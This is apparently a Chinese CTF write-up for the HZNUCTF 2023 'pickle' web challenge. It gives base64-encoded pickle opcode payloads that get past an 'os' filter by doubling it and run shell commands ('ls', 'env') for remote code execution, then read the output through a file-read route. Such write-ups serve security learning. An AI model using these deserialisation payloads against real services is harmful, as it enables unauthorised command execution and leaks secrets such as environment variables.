0%

[HZNUCTF 2023 preliminary]pickle 题解

2024-07-19 20:00By
Err0r233
反序列化/procLinux命令PythonWEB

Problem: [HZNUCTF 2023 preliminary]pickle

[[toc]]

思路

  • 解题大致思路
    普通的pickle反序列化,做的时候连不上vps了,事实上查看题解可以知道反弹不了shell,遂往写文件方向走,刚好有个路由可以读除flag以外的文件。
    os被置空,双写过滤即可

EXP

  • 具体攻击代码
import pickle import requests import base64 import pickletools opcode = b'''(cooss system S'ls > 1' o.''' data = base64.b64encode(opcode) print(data)

注意这里双写os就可以了。
然后/readFile?filename=1测试结果

NSSIMAGE
发现没有flag,但是有flag.sh。不知道为什么读不了这个,中间有个加号,url编码后还是读不了。
最终发现flag在环境变量里:

import pickle import requests import base64 import pickletools opcode = b'''(cooss system S'env > 3' o.''' data = base64.b64encode(opcode) print(data)

更神奇的是env这个payload也有加号,但是编码之后就能了,flag.sh不可以,比较神奇

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论